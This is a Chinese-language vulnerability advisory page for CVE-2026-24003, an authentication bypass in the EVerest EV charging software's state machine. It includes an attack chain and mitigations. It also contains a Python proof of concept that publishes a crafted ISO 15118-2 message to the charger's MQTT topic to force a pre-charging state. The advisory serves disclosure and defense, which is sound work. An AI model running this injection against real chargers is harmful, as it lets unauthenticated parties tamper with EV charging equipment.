IPBUF安全漏洞报告
English
CVE-2026-24003 CVSS 4.3 中危

CVE-2026-24003 EVerest电动汽车充电软件状态机认证绕过漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-24003
漏洞类型
认证绕过/状态机漏洞
CVSS评分
4.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EVerest

相关标签

CVE-2026-24003EVerest电动汽车充电ISO 15118-2状态机漏洞认证绕过MQTT注入EV充电软件中危漏洞

漏洞概述

EVerest是一个开源的电动汽车(EV)充电软件栈。2026年1月披露的安全漏洞显示,EVerest在2025.12.1及之前版本中存在严重的状态机验证缺陷。攻击者可以利用ISO 15118-2通信协议消息绕过认证流程,诱使充电系统从WaitingForAuthentication状态转换到禁止的状态,从而使用非法数据更新系统上下文。该漏洞位于EVSEManager模块的内部状态机中,虽然授权模块独立处理,但由于MQTT消息处理机制存在缺陷,攻击者可通过构造特定的协议消息欺骗系统准备充电甚至准备发送电流。由于EVerest的模块化架构设计,授权检查与状态转换逻辑存在分离,导致攻击者可在未完成认证的情况下影响系统的关键状态。

技术细节

该漏洞源于EVerest的EVSEManager Charger内部状态机与授权模块之间的设计缺陷。系统设计中,授权功能由独立模块处理,而EVSEManager无法通过ISO 15118-2通信从WaitingForAuthentication状态正常转换。然而,攻击者可通过向MQTT服务器发布特制的ISO 15118-2消息,绕过状态验证机制。这些消息能够触发系统状态转换,使其准备进入充电状态甚至准备电流输出。攻击成功的关键在于MQTT消息订阅机制缺乏足够的状态验证,允许来自邻接网络(AV:A)的未认证请求(PR:N)影响系统状态。攻击者利用ISO 15118-2协议消息的特定字段和序列,欺骗状态机执行非法状态转换。虽然最终接触器闭合似乎仍需离开WaitingForAuthentication状态,但系统已被诱骗进入危险的预备状态,暴露了潜在的攻击面。

攻击链分析

STEP 1
步骤1
攻击者位于邻接网络(AV:A),能够访问充电站的MQTT服务器
STEP 2
步骤2
攻击者识别目标EVerest系统的MQTT主题端点,特别是ISO 15118-2相关主题
STEP 3
步骤3
构造恶意的ISO 15118-2协议消息,包含特制的状态参数和会话信息
STEP 4
步骤4
将恶意消息发布到everest/iso15118/evse/requests主题,绕过WaitingForAuthentication状态验证
STEP 5
步骤5
EVSEManager状态机接收到消息后,错误地转换到预备充电状态
STEP 6
步骤6
系统准备发送电流参数,为后续攻击创造条件(虽然最终接触器闭合可能需要额外步骤)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import paho.mqtt.client as mqtt import json # CVE-2026-24003 PoC - MQTT Message Injection for EVerest State Bypass # Target: EVerest <= 2025.12.1 with ISO 15118-2 support MQTT_BROKER = "ev_charger_ip" MQTT_PORT = 1883 TARGET_TOPIC = "everest/iso15118/evse/requests" def construct_malicious_iso15118_message(): """ Construct malicious ISO 15118-2 message to trigger state transition This payload targets the EVSEManager state machine bypass """ malicious_payload = { "service_id": 1, "action": "ServiceDiscovery", "session_id": "\x00" * 16, "evse_status": { "ready": True, "isolation_status": "valid", "evse_present_voltage": 400, "evse_present_current": 0 }, "schedule_id": 0, "departure_time": 0, "requested_energy_amount": 50000, "meter_info": { "meter_id": "MALICIOUS_METER", "meter_reading": 0 } } return json.dumps(malicious_payload) def on_connect(client, userdata, flags, rc): print(f"[+] Connected to MQTT broker with result code {rc}") payload = construct_malicious_iso15118_message() client.publish(TARGET_TOPIC, payload) print(f"[+] Published malicious ISO 15118-2 message to {TARGET_TOPIC}") print(f"[+] Payload: {payload}") def exploit(): client = mqtt.Client() client.on_connect = on_connect try: client.connect(MQTT_BROKER, MQTT_PORT, 60) client.loop_forever() except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == "__main__": print("CVE-2026-24003 EVerest State Machine Bypass PoC") print("Target: EVerest EV Charger <= 2025.12.1") print("Attack Vector: ISO 15118-2 MQTT Message Injection") exploit()

影响范围

EVerest <= 2025.12.1
EVerest/everest-core <= 2025.12.1

防御指南

临时缓解措施
由于官方尚未发布修复版本,建议采取以下临时措施:1)将EVerest系统网络与不可信网络隔离,限制物理和邻接网络访问;2)在MQTT代理层面实施严格的访问控制,限制可发布消息的客户端;3)监控MQTT消息流,检测异常的ISO 15118-2协议消息模式;4)考虑在充电站部署入侵检测系统监控状态转换异常;5)评估是否需要暂时禁用ISO 15118-2充电支持以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表